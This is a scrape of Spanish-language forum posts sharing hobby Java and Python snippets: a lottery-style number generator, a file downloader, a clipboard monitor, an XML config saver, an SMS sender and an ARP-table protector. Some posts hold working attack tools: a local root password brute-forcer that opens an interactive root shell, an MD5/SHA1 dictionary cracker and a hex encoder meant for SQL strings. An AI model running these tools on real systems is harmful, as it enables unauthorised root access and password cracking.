        cuadro10.setBounds(80,310,100,20);
        panel.add(cuadro10);
        this.doceavo=new JLabel("Doceavo: ");
        doceavo.setBounds(10,340,100,20);
        panel.add(doceavo);
        this.cuadro11=new JLabel("");
        cuadro11.setBounds(80,340,100,20);
        panel.add(cuadro11);
        this.treceavo=new JLabel("Treceavo: ");
        treceavo.setBounds(10,370,100,20);
        panel.add(treceavo);
        this.cuadro12=new JLabel("");
        cuadro12.setBounds(80,370,100,20);
        panel.add(cuadro12);
        this.catorceavo=new JLabel("Catorceavo: ");
        catorceavo.setBounds(10,400,100,20);
        panel.add(catorceavo);
        this.cuadro13=new JLabel("");
        cuadro13.setBounds(90,400,100,20);
        panel.add(cuadro13);
        this.pleno=new JLabel("Pleno al quince");
        pleno.setBounds(10,430,100,20);
        panel.add(pleno);
        this.cuadro14=new JLabel("");
        cuadro14.setBounds(120,430,100,20);
        panel.add(cuadro14);
        this.generar=new JButton("generar");
        generar.setBounds(10,460,100,20);
        panel.add(generar);
        Evento ev;
        ev=new Evento();
        generar.addActionListener(ev);
       
       
    }
   
    public void mostrar(){
        setVisible(true);
    }

           
           
   class Evento implements ActionListener{
        public void actionPerformed(ActionEvent e){
         JButton c;
         String texto;
         int c1;
         int c2;
         int c3;
         int c4;
         int c5;
         int c6;
         int c7;
         int c8;
         int c9;
         int c10;
         int c11;
         int c12;
         int c13;
         int c14;
         int c15;
         int uno;
         int dos;
         int tres;
 
             
       
         
             
         c=(JButton) e.getSource();
         texto=c.getActionCommand();
         if (texto.compareTo("generar")==0){
             
             c1=(int)(Math.random()*3);
         
            if (c1==0){
             cuadro.setText("X");
            }
             else {
                cuadro.setText(""+c1);
            }

             c2=(int)(Math.random()*3);
             
            if (c2==0){
             cuadro1.setText("X");
            }
             else {
                cuadro1.setText(""+c2);
            }
           
             c3=(int)(Math.random()*3);
             
             if (c3==0){
                cuadro2.setText("X");
            }
             else {
                cuadro2.setText(""+c3);
            }
           
             c4=(int)(Math.random()*3);
             
             if (c4==0){
                cuadro3.setText("X");
            }
             else {
                cuadro3.setText(""+c4);
            }
           
             c5=(int)(Math.random()*3);
             
             if (c5==0){
                cuadro4.setText("X");
            }
             else {
                cuadro4.setText(""+c5);
            }
             
             c6=(int)(Math.random()*3);
             
             if (c6==0){
                cuadro5.setText("X");
            }
             else {
                cuadro5.setText(""+c6);
            }
             
             c7=(int)(Math.random()*3);
             
             if (c7==0){
                cuadro6.setText("X");
            }
             else {
                cuadro6.setText(""+c7);
            }
             
             c8=(int)(Math.random()*3);
             
            if (c8==0){
                cuadro7.setText("X");
            }
             else {
                cuadro7.setText(""+c8);
            }
             
             c9=(int)(Math.random()*3);
             
             if (c9==0){
                cuadro8.setText("X");
            }
             else {
                cuadro8.setText(""+c9);
            }
             
             c10=(int)(Math.random()*3);
             
             if (c10==0){
                cuadro9.setText("X");
            }
             else {
                cuadro9.setText(""+c10);
            }
             
             c11=(int)(Math.random()*3);
             
             if (c11==0){
                cuadro10.setText("X");
            }
             else {
                cuadro10.setText(""+c11);
            }
             
             c12=(int)(Math.random()*3);
             
             if (c12==0){
                cuadro11.setText("X");
            }
             else {
                cuadro11.setText(""+c12);
            }
             
             c13=(int)(Math.random()*3);
             
             if (c13==0){
                cuadro12.setText("X");
            }
             else {
                cuadro12.setText(""+c13);
            }
             
             c14=(int)(Math.random()*3);
             
             if (c14==0){
                cuadro13.setText("X");
            }
             else {
                cuadro13.setText(""+c14);
            }
             
             c15=(int)(Math.random()*3);
             
             if (c15==0){
                cuadro14.setText("X");
            }
             else {
                cuadro14.setText(""+c15);
            }           
           
            }
        }
    }
}


la imagen



:D
#50
[ -Consola ]
____________________________________________________________________________________________

Wait..
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
______________________________________________________

Date: Sat Sep 05 10:56:19 VET 2009
Last Modified: Tue Feb 08 11:12:02 VET 2005
Expiration: Wed Dec 31 20:00:00 VET 1969
Host: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta Port: 80
Path: /asignaturas/Informat1/ayudainf/aprendainf/Java/Java2.pdf
Name: Java2.pdf
Size: 2050138
Protocol: http://
______________________________________________________
Init.
Receiving data..


____________________________________________________________________________________________

[ -CODE -]

Código: java

import java.awt.Color;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.Date;
import javax.swing.JFrame;
import javax.swing.JOptionPane;
import javax.swing.JProgressBar;

/**
* Hilo para descarga de un archivo desde una URL
* implementando un progressbar
*
* @author L-EYER
*
* @see GlassFish Tools Bundle For Eclipse
   Version: 0.9.9
*/
public class Downloader extends Thread{
   private URL           url          =   null;
   private JProgressBar  progressBar  =   null;
   private URLConnection connection   =   null;
   /**
   * Constructor
   *
   * @param URL
   * @param Barra de Progreso
   */
   public Downloader(
         final URL URL,
         JProgressBar progress) {
   super("Downloader");
   this.url = URL; this.progressBar = progress;
   progressBar.setStringPainted(true);}
   @Override
   public void run() {
      try {
       System.out.println("Wait..");
       connection = url.openConnection();
       connection.connect();
          progressBar.setMinimum(0);
          progressBar.setForeground(new Color(160,20,9,100));
          progressBar.setBorderPainted(true);
         } catch (IOException e) {System.err.println("Error in conection!");System.exit(0);
         } catch (Exception e) {
            System.err.println(e);System.exit(0);
         }
      int read = 0;
      final int SIZE = getLength(url);
      progressBar.setMaximum(SIZE);
      InputStream stream  =  null;
      try {
         stream = connection.getInputStream();
         System.out.println(url.toExternalForm());
         System.out.println("______________________________________________________\n");
         System.out.println("Date: "+new Date(connection.getDate()));
         System.out.println("Last Modified: "+ new Date(connection.getLastModified()));
         System.out.println("Expiration: " + new Date(connection.getExpiration()));
         System.out.println("Host: "+url.getHost()+" Port: "+url.getDefaultPort());
         System.out.println("Path: "+url.getPath());
         System.out.println("Name: "+getFileName(url));
         System.out.println("Size: "+getLength(url));
         System.out.println("Protocol:"+url.getProtocol()+"://");
         System.out.println("______________________________________________________");
         final FileOutputStream fileOutputStream = new FileOutputStream(getFileName(url));
         final byte[] data =
            new byte[ SIZE ];
          try {
               Thread.sleep(100);
            } catch (InterruptedException e) {System.err.println(e);System.exit(0);
            }
         int offset = 0;
         System.out.println("Init.");
         System.out.println("Receiving data..");
         while((read = stream.read(data)) > 0){
             offset += read;
            progressBar.setValue(offset);
            fileOutputStream.write(data,
                  0,
                  read);
         }
         System.out.println("Completed! 100%");
         JOptionPane.showMessageDialog(new JFrame(),
               "Completed!",
               "100%",
               JOptionPane.INFORMATION_MESSAGE);
         progressBar.setValue(0);
         try{
         stream.close();
         fileOutputStream.flush();
         fileOutputStream.close();
             offset = 0;
            }catch (Exception e) {System.err.println(e);System.exit(0);
            }
      }catch (IOException e) {
      System.err.println(e+"ERROR:URL");System.exit(0);
        }catch (Exception e) {
      System.err.println(e);
       }
       super.run();
      }
       final int getLength(URL urlFile){
      URLConnection connection = null;
      int size = 0;
      try {
      connection = urlFile.openConnection();
         size = connection.getContentLength();
      } catch (IOException e) {
         System.err.println(e+":ERROR");System.exit(0);
      } catch (Exception e) {
         System.err.println(e+":ERROR");System.exit(0);
      }
      return size;
   }
   String getFileName(URL URL){
     String path=URL.getPath();
     int lastIndexOf=path.lastIndexOf("/");
     String name = path.substring(lastIndexOf+1);
       return name;
   }
} class mainClass {
   public static void main(final String[] args){
      try{
         final JProgressBar progressBar = new JProgressBar();
         URL url = new URL("http://www.tecnun.es/asignaturas/Informat1/ayudainf/aprendainf/Java/Java2.pdf");
         Downloader downloader = new Downloader(url,progressBar);
         downloader.start();
      } catch (MalformedURLException e) {
      System.err.println("Error: Protocol"+e);
      System.exit(0);
      } catch (Exception e) {
         System.err.println(e);
      }
   }
#51
Java / Implementando el MessageBox java
Febrero 24, 2010, 04:15:45 PM
Código: java


public class SWT{public static void main(String[]args){
final org.eclipse.swt.widgets.Display display =
new org.eclipse.swt.widgets.Display();
final org.eclipse.swt.widgets.Shell shell = new org.eclipse.swt.widgets.Shell(display);shell.setLayout(
new org.eclipse.swt.layout.FillLayout());
org.eclipse.swt.widgets.MessageBox messageBox = new org.eclipse.swt.widgets.MessageBox(
shell,org.eclipse.swt.SWT.OK);
messageBox.setMessage(" Hola Mundo");
shell.pack();
shell.setSize(630,300);
messageBox.open();
shell.open();
while (!shell.isDisposed()) {
    if (!display.readAndDispatch())
       display.sleep();
}
display.dispose(); 
}
#52
Java / Listar los procesos de windows
Febrero 24, 2010, 04:14:06 PM


Código: java
import javax.swing.JFrame;
/*
* Listar los procesos de Windows y mostrarlos  en un JList
* _______________________________
* @author L-EYER
* @see GlassFish Tools Bundle For Eclipse Version: 0.9.9
* _______________________________________________________
*
*/
public class ProcessList
{
public static void main(String[] args) {
final JFrame init = new JFrame();
init.setLayout(new java.awt.GridLayout(1,1));
init.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
final  java.awt.List list = new java.awt.List();
java.awt.Container container = init.getContentPane();
container.add(list);
final String command = "CMD /C tasklist /nh";
java.util.Vector< String > listProcess=new java.util.Vector< String >();
try {

final Process process = Runtime.getRuntime().exec(command);
java.io.BufferedReader reader = new java.io.BufferedReader(
new java.io.InputStreamReader(
process.getInputStream()));
String pross=null;
String processName="";
while((pross=reader.readLine()) != null){
char[]array=pross.toCharArray();
for(int i=0;
i<array.length;
i++){
processName += String.valueOf(array[i]);
if(array[i]==' ')break;else continue;
}
listProcess.addElement(
processName.trim().toUpperCase());
processName="";
}
for(int j = 0;
j< listProcess.size();
j++)
list.add(listProcess.get(j));
} catch (java.io.IOException e) {e.printStackTrace();System.exit(0);

}catch (Exception e) {
System.err.println(e);System.exit(0);
     }
init.setSize(300,700);
init.setLocationRelativeTo(new JFrame());
init.setVisible(true);
}
}
#53
Java / Monitoriar el Clipboard
Febrero 24, 2010, 04:13:53 PM
implementado en mi jdeff downloader con algunas moficicaciones ;)

Código: java

import java.awt.datatransfer.Transferable;
/*

@author L-EYER
@see GlassFish Tools Bundle For EclipseVersion: 0.9.9
   
*/
public class ThreadClipboard extends Thread{
public static void main(String[] args){
new ThreadClipboard();
}
public ThreadClipboard(){this.start();}
private boolean _run = true;
private String string;
private Transferable transferable;
    private final String getClipboard()
    {
    transferable =
    java.awt.Toolkit.getDefaultToolkit().getSystemClipboard().getContents(null);
        try {
            if (transferable != null &&
            transferable.isDataFlavorSupported(
            java.awt.datatransfer.DataFlavor.stringFlavor)) {
                string =
                (String)transferable.getTransferData(
                java.awt.datatransfer.DataFlavor.stringFlavor);
                return string;
            }
        } catch ( java.awt.datatransfer.UnsupportedFlavorException exception)
        {System.err.println(exception);_run = false;System.exit(0);
        } catch (java.io.IOException e)
        {System.err.println(e);System.out.println("GClipboard.getClipboard()");
        _run = false;System.exit(0);
        }
        return null;
    }
public String getText() {return string;}
public void setText(String text) {this.string = text;}
public boolean is_run() {return _run;}
public void set_run(boolean _run) {this._run = _run;
}
private int DELAY = 50;
@Override public synchronized void run()
{
while(is_run()){
try {
String stringClipboard = getClipboard();
if(stringClipboard!= null){
System.out.println(stringClipboard);
    }
else{continue;
    }
Thread.sleep(DELAY);
   } catch (InterruptedException e) {
System.err.println(e);System.exit(0);
   }
}
   }
}


BYEE  8)
#54
Este programa simple pero avanzado muestra como guardar la configuracion del  programa y al salir  iniciar las misma configuracion que dejaste
consta de un button reset para borrar la configuracion.



Código: java

//-----------------------------------------------------------
/*
@author L-EYER
@see GlassFish Tools Bundle For Eclipse
  Version: 0.9.9
*/
//----------------------------------------------------------
import java.awt.Container;
import java.awt.FlowLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.WindowEvent;
import java.awt.event.WindowListener;
//----------------------------------------------------------
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
//----------------------------------------------------------
import javax.swing.JButton;
import javax.swing.JCheckBox;
import javax.swing.JFrame;
import javax.swing.JOptionPane;
import javax.swing.JRadioButton;
import javax.swing.SwingUtilities;
import javax.swing.UIManager;
import javax.swing.UIManager.LookAndFeelInfo;
//----------------------------------------------------------
import org.w3c.dom.DOMImplementation;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.w3c.dom.Text;
import org.xml.sax.SAXException;
//----------------------------------------------------------

import com.sun.org.apache.xerces.internal.dom.DOMImplementationImpl;
import com.sun.org.apache.xml.internal.serialize.OutputFormat;
import com.sun.org.apache.xml.internal.serialize.XMLSerializer;

public class ConfigGuard
{
private static final long serialVersionUID = 1L;

public static final String  nameFile="configuracion.xml";
public static final File file=new File(nameFile);

public static  JButton buttonGuard;
public static  JButton    buttonReset ;
public static  JCheckBox  check1;
public static  JCheckBox  check2;
public static  JRadioButton radioButton1;
public static  JRadioButton radioButton2;

public static void main(String[] args) {

JFrame Frame = new JFrame(" Salir he iniciar igual la configuracion ");

LookAndFeelInfo[] LookAndFeel=UIManager.getInstalledLookAndFeels();
try {
UIManager.setLookAndFeel(LookAndFeel[3].getClassName() );
SwingUtilities.updateComponentTreeUI( Frame );
}catch (Exception e) {}
Frame.setLayout(new FlowLayout(FlowLayout.CENTER));

buttonGuard    =   new javax.swing.JButton("Guardar");
buttonReset    =   new javax.swing.JButton("Reset");
check1      =   new JCheckBox("Config 1",false);
check2    =   new JCheckBox("Config 2",false);
radioButton1   =   new JRadioButton("RadioButton 1");
    radioButton2   =   new JRadioButton("RadioButton 2");
 
    ConfigGuard.VerifyConfigurationSaved(Frame);
     
final Container container  =   Frame.getContentPane();
container .add(check1);    container .add(check2);
container .add(radioButton1); container .add(radioButton2);
container           .add(buttonGuard);  container           .add(buttonReset);

final listerner listerner = new listerner(Frame);
    buttonGuard         .addActionListener( listerner );
buttonReset         .addActionListener( listerner );

Frame.addWindowListener(new WindowListener() {
@Override public void windowOpened(WindowEvent e) {}
@Override public void windowIconified(WindowEvent e) {}
@Override public void windowDeactivated(WindowEvent e) {}
@Override public void windowClosing(WindowEvent e) {System.out.println("Exit");System.exit(0);}
@Override public void windowClosed(WindowEvent e) {}
    @Override public void windowActivated(WindowEvent e) {}
@Override public void windowDeiconified(WindowEvent e) {
}
   }
);
Frame.setSize(400,100);
Frame.setLocationRelativeTo(new JFrame());
Frame.setVisible(true);
}
public static void VerifyConfigurationSaved(JFrame Frame)
{if( file.exists() ){
new InitConfig( true , Frame , nameFile );}
else{
new InitConfig( false , Frame , nameFile );}
}
}
class listerner implements ActionListener
{
private JFrame GUI;

public Text _C1 = null;
public Text _C2 = null;
public Text _R1 = null;
public Text _R2 = null;

public listerner (JFrame frame){ GUI = frame; }
@Override
public void actionPerformed(ActionEvent e) {
if(e.getActionCommand().equalsIgnoreCase("Guardar")){

final DOMImplementation impl = DOMImplementationImpl.getDOMImplementation();
    final  Document XMLdoc = impl.createDocument(null,"Configuracion",null);
   
    Element raiz = XMLdoc.getDocumentElement();
Element config=XMLdoc.createElement("Confifuracion");

final OutputFormat out = new OutputFormat(XMLdoc);
XMLSerializer serializer;

final Element _check1=XMLdoc.createElement("Check1_is_Select");
final Element _check2=XMLdoc.createElement("Check2_is_Select");
final Element _Radio1=XMLdoc.createElement("Radio1_is_Select");
final Element _Radio2=XMLdoc.createElement("Radio2_is_Select");

if(ConfigGuard.check1.isSelected()){
_C1=XMLdoc.createTextNode("true");
     _check1.appendChild(_C1);
     config.appendChild(_check1);
}else{
_C1=XMLdoc.createTextNode("false");
  _check1.appendChild(_C1);
  config.appendChild(_check1);
}
if(ConfigGuard.check2.isSelected()){
    _C2=XMLdoc.createTextNode("true");
_check2.appendChild(_C2);
config.appendChild(_check2);
}else{
_C2=XMLdoc.createTextNode("false");
_check2.appendChild(_C2);
config.appendChild(_check2);
}
if(ConfigGuard.radioButton1.isSelected()){
_R1=XMLdoc.createTextNode("true");
_Radio1.appendChild(_R1);
config.appendChild(_Radio1);
}else{
_R1=XMLdoc.createTextNode("false");
_Radio1.appendChild(_R1);
config.appendChild(_Radio1);
}
if(ConfigGuard.radioButton2.isSelected()){
_R2=XMLdoc.createTextNode("true");
_Radio2.appendChild(_R2);
     config.appendChild(_Radio2);
}else{
_R2=XMLdoc.createTextNode("false");
_Radio2.appendChild(_R2);
config.appendChild(_Radio2);
}    
raiz.appendChild(config);
    try {

    FileOutputStream fileOutputStream = new FileOutputStream("configuracion.xml",false);
    serializer     = new XMLSerializer(fileOutputStream, out);
try {
serializer.serialize(XMLdoc);

fileOutputStream.flush();
fileOutputStream.close();

ConfigGuard.buttonGuard.setEnabled(false);

} catch (IOException e1) {e1.printStackTrace();}
} catch (FileNotFoundException e1) {e1.printStackTrace();
} catch (Exception exception) {exception.printStackTrace();
}
JOptionPane.showMessageDialog(GUI,"Configuracion Cuargada Correctamente!","Guardar",JOptionPane.INFORMATION_MESSAGE);
}
if(e.getActionCommand().equalsIgnoreCase("Reset")){

if(ConfigGuard.file.exists()){
ConfigGuard.file.delete();
}else{
JOptionPane.showMessageDialog(GUI,"Configuracion Borrada!","Reset",JOptionPane.INFORMATION_MESSAGE);
}
_C1=null;_C2=null;
_R1=null;_R2=null;

ConfigGuard.buttonGuard .setEnabled(true);
ConfigGuard.check1 .setSelected(false);
ConfigGuard.check2 .setSelected(false);
ConfigGuard.radioButton1 .setSelected(false);
ConfigGuard.radioButton2 .setSelected(false);
}
}
}
class InitConfig
{
private final com.sun.org.apache.xerces.internal.parsers.DOMParser DOM
= new com.sun.org.apache.xerces.internal.parsers.DOMParser();
private JFrame parent;
public InitConfig( boolean FILEexists , JFrame frame, String file ) {
try {
parent = frame;
if( FILEexists ){

DOM.parse(file);
Document doc=DOM.getDocument();

NodeList _CK1= doc.getElementsByTagName("Check1_is_Select");
NodeList _CK2= doc.getElementsByTagName("Check2_is_Select");
NodeList _RD1= doc.getElementsByTagName("Radio1_is_Select");
NodeList _RD2= doc.getElementsByTagName("Radio2_is_Select");

final Node c1=_CK1.item(0).getFirstChild();
final Node c2=_CK2.item(0).getFirstChild();
final Node r1=_RD1.item(0).getFirstChild();
final Node r2=_RD2.item(0).getFirstChild();

if(c1.getNodeValue().equals("true"))
{ConfigGuard.check1.setSelected(true);

}else{ConfigGuard.check1.setSelected(false);
}
if(c2.getNodeValue().equals("true"))
{ConfigGuard.check2.setSelected(true);

}else{ConfigGuard.check2.setSelected(false);
}
if(r1.getNodeValue().equals("true"))
{ConfigGuard.radioButton1.setSelected(true);

}else{ConfigGuard.radioButton1.setSelected(false);
}
if(r2.getNodeValue().equals("true"))
{ConfigGuard.radioButton2.setSelected(true);

}else{ConfigGuard.radioButton2.setSelected(false);
}
}else
{
JOptionPane.showMessageDialog(parent,"No se ha Guardado Ninguna Configuracion.","Informacion",JOptionPane.INFORMATION_MESSAGE);
}
} catch (SAXException e) {e.printStackTrace();
System.exit(0);
} catch (IOException e) {
JOptionPane.showMessageDialog(new JFrame(),"Error al Leer el archivo.","??????????????",JOptionPane.INFORMATION_MESSAGE);
e.printStackTrace();
System.exit(0);
}
}
}
#55
Pequeño conversor:

Código: java
public class CodToAsciiHex{

/**
* Convertidor de ASCi a Hexadecimal para SQL (by andresg888)
*/
public static void main(String[] args) {
java.util.Scanner in = new java.util.Scanner(System.in);
while (in.hasNext()) {
String input = in.next();
int len = input.length();
for (int i = 0; i < len; i++) System.out.print("%"+ Integer.toHexString((int) input.charAt(i)));
}
}
}


Si tienen problemas para usarlo lo hacemos como applet. Saludos
#56
Java / Documentacion sobre Java!
Febrero 24, 2010, 04:12:56 PM
Lenguaje de programación Java

Java es un lenguaje de programación orientado a objetos desarrollado por Sun Microsystems a principios de los años 90. El lenguaje en sí mismo toma mucha de su sintaxis de C y C++, pero tiene un modelo de objetos más simple y elimina herramientas de bajo nivel, que suelen inducir a muchos errores, como la manipulación directa de punteros o memoria.

Las aplicaciones Java están típicamente compiladas en un bytecode, aunque la compilación en código máquina nativo también es posible. En el tiempo de ejecución, el bytecode es normalmente interpretado o compilado a código nativo para la ejecución, aunque la ejecución directa por hardware del bytecode por un procesador Java también es posible.

La implementación original y de referencia del compilador, la máquina virtual y las bibliotecas de clases de Java fueron desarrollados por Sun Microsystems en 1995. Desde entonces, Sun ha controlado las especificaciones, el desarrollo y evolución del lenguaje a través del Java Community Process, si bien otros han desarrollado también implementaciones alternativas de estas tecnologías de Sun, algunas incluso bajo licencias de software libre.

Entre noviembre de 2006 y mayo de 2007, Sun Microsystems liberó la mayor parte de sus tecnologías Java bajo la licencia GNU GPL, de acuerdo con las especificaciones del Java Community Process, de tal forma que prácticamente todo el Java de Sun es ahora software libre (aunque la biblioteca de clases de Sun que se requiere para ejecutar los programas Java todavía no es software libre).




No tienes permitido ver los links. Registrarse o Entrar a mi cuenta





Espero que os sirva de algo! :D

bytes ;)
#57
Python / Send-sms
Febrero 24, 2010, 04:11:33 PM
Este script envia sms y esta hecho en GUI (Objectos)

Código: python
#Send Free SMS (GUI Version)
#d3hydr8[at]gmail[dot]com
#http://www.darkc0de.com

from Tkinter import *
import urllib, urllib2

class Application(Frame):
def __init__(self, master):
Frame.__init__(self, master)
self.grid()
self.create_widget()
def create_widget(self):

self.lbl = Label(self, text = "From: ([email protected])")
self.lbl.grid(row = 0, column = 0)

self.addr = Entry(self, width = 32, bg = "#888")
self.addr.grid(row = 0, column = 1, sticky = W)

self.lbl = Label(self, text = "Number: ")
self.lbl.grid(row = 3, column = 0)

self.num = Entry(self, width = 3, bg = "#888")
self.num.grid(row = 3, column = 1, sticky = W)
self.num1 = Entry(self, width = 3, bg = "#888")
self.num1.grid(row = 3, column = 1, padx=35,pady=1, sticky = W)
self.num2 = Entry(self, width = 4, bg = "#888")
self.num2.grid(row = 3, column = 1, padx=70,pady=1, sticky = W)

self.lbl = Label(self, text = "Message: (120 Max) ")
self.lbl.grid(row = 6, column = 0)

self.mess = Entry(self, width = 45, bg = "#888")
self.mess.grid(row = 6, column = 1, sticky = W)

self.txtbox = Text(self, width = 60, height = 4, relief = "sunken", font=('Georgia', 8, 'bold'), bg = "#888")
self.txtbox.grid(row = 8, column = 0, columnspan = 2, sticky = W)

self.bttn1 = Button(self, text = "Send", relief = "raised", font=('courier', 10, 'bold'), fg = "#1569C7", bg = "#18181C", command = self.send)
self.bttn1.grid(row = 9, columnspan = 2, sticky = "WE")

self.clear = Button(self, text="Clear", font=('Georgia', 8), command = self.clear)
self.clear.grid(row = 10, column = 1,sticky= E)

def send(self):
a = self.addr.get()
n = self.num.get()
n1 = self.num1.get()
n2 = self.num2.get()
m = self.mess.get()
host = "http://www.txtdrop.com/"

if len(m) > 120:
self.txtbox.insert(END, "\nMessage Length Over (Max: 120 characters)")
self.mess.delete(0, END)
elif len(n) != 3 or len(n1) != 3 or len(n2) != 4:
self.txtbox.insert(END, "\nMisformed Number")
self.num.delete(0, END)
self.num1.delete(0, END)
self.num2.delete(0, END)
else:
login_form_seq = [
      ('emailfrom',a),
('npa',n),
('exchange',n1),
('number',n2),
('body',m),
('submitted','1'),
('submit','Send')]
login_form_data = urllib.urlencode(login_form_seq)
opener = urllib2.build_opener()
try:
opener.addheaders = [('User-agent', 'Mozilla/5.0')]
opener.open(host, login_form_data)
self.txtbox.insert(END, "FROM: "+a)
self.txtbox.insert(END, "\nNUMBER: "+n+"-"+n1+"-"+n2)
self.txtbox.insert(END, "\nMessage: "+m)
self.txtbox.insert(END, "\nMessage Sent!!!")
except(urllib2.URLError), msg:
self.txtbox.insert(END, "\nMessage Failed")

def clear(self):
self.addr.delete(0, END)
self.num.delete(0, END)
self.num1.delete(0, END)
self.num2.delete(0, END)
self.mess.delete(0, END)
    self.txtbox.delete(0.0, END)

root = Tk()
root.title("Send Free SMS")
root.geometry("500x225")
root.config(background="#18181C")
app = Application(root)
root.mainloop()




Saludos!


#58
Python / Anti ARP Poisoning
Febrero 24, 2010, 04:10:54 PM
Código: python
#!/usr/bin/python

import sys, os, time, this



def AntiArp(Argument):

    print "Working ...nPress CTRL+C to Quit"

    while 1:

        f , a , b = open(Argument,'r') , 0 , 0

        for lines in f:

            a = a+1

        f.seek(0)

        while b < a :

            mot = f.readline().rstrip()

            d = mot.index(" ")

            f , e = mot[:d] , mot[d+1:]

            os.system("arp -d *")

            print "deleting arp table"

            cmd = "arp -s %s " %f  + e

            print cmd

            os.system(cmd)

            b+=1

            time.sleep(10)



try:

    if len(sys.argv) < 2:

       print "nUsage : %s <cache-file>" % sys.argv[0]

       print "<cache-file> where data is : x.x.x.x [MAC Address]"

    else:

        AntiArp(sys.argv[1])

except KeyboardInterrupt:

    print "Stopped"
#59
Python / Local Root Bruteforce por Wordlist
Febrero 24, 2010, 04:10:42 PM
Código: python
#!/usr/bin/python
#Local Root BruteForcer

#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import sys
try:
    import pexpect
except(ImportError):
    print "\nYou need the pexpect module."
    print "http://www.noah.org/wiki/Pexpect\n"
    sys.exit(1)

#Change this if needed.
LOGIN_ERROR = 'su: incorrect password'

def brute(word):
    print "Trying:",word
    child = pexpect.spawn ('su')
    child.expect ('Password: ')
    child.sendline (word)
    i = child.expect (['.+\s#\s',LOGIN_ERROR])
    if i  == 0:
        print "\n\t[!] Root Password:",word
        child.sendline ('whoami')
        print child.before
        child.interact()
    #if i == 1:
        #print "Incorrect Password"

if len(sys.argv) != 2:
    print "\nUsage : ./rootbrute.py <wordlist>"
    print "Eg: ./rootbrute.py words.txt\n"
    sys.exit(1)

try:
    words = open(sys.argv[1], "r").readlines()
except(IOError):
      print "\nError: Check your wordlist path\n"
      sys.exit(1)

print "\n[+] Loaded:",len(words),"words"
print "[+] BruteForcing...\n"
for word in words:
    brute(word.replace("\n",""))
#60
Python / MD5 Hash Brute Force con Diccionario
Febrero 24, 2010, 04:09:38 PM
Bueno, les dejo este tuto de como crackear MD5 por fuerza bruta con un diccionario

Código: python
#!/usr/bin/env python

import md5, sys, hashlib

def main():
if len(sys.argv) == 4:
if sys.argv[1] == '-e':
encriptar()
else:
uso()
elif len(sys.argv) == 5:
if sys.argv[1] == '-c':
crakeo()
else:
uso()
else:
uso()

def uso():
print "Encriptador y crakeador:"
print "Forma de uso:"               
print "Para encriptar: %s y -e -opcion palabra" % sys.argv[0]
print "Para crakear: python %s -c -opcion hash diccionario.txt" % sys.argv[0]
print "opciones: -md5 || -sha1"
print "Kalith: Kalith.9[at]gmail[dot]com"
print "http://0x59.es"

def crakeo():
a = False
hash= sys.argv[3]
try:
dicc= open((sys.argv[4]), 'r')
if sys.argv[2] == '-md5':
crak_md5(a, hash, dicc)
elif sys.argv[2] == '-sha1':
crak_sha1(a, hash, dicc)
else:
uso()
except IOError:
print "Debe ser un archivo de texto valido... verificalo porfavor"

def crak_md5(a, hash, dicc):
if len(hash) == 32:
print "El hash esta siendo crakeado... espera porfavor.."
for i in dicc.read().split():
PalabraEn= md5.new(i).hexdigest()
if PalabraEn==hash:
print "%s es el producto encriptado de %s" % (hash, i)
a= True
break
if not a:
print "El hash no se pudo crakear..."
dicc.close()
else:
print "Debe estar en md5"

def crak_sha1(a, hash, dicc):
if len(hash) == 40:
print "El hash esta siendo crakeado... espera porfavor.."
for i in dicc.read().split():
PalabraEn= hashlib.sha1(i).hexdigest()
if PalabraEn==hash:
print "%s es el producto encriptado de %s" % (hash, i)
a= True
break
if not a:
print "El hash no se pudo crakear..."
dicc.close()
else:
print "Debe estar en sha1.."

def encriptar():
if sys.argv[2] == '-md5':
print encr_md5()
elif sys.argv[2] == '-sha1':
print encr_sha1()
else:
uso()

def encr_md5():
return "El resultado es: %s" % md5.new(sys.argv[3]).hexdigest()

def encr_sha1():
return "El resultado es: %s" % hashlib.sha1(sys.argv[3]).hexdigest()

main()


Saludos  8)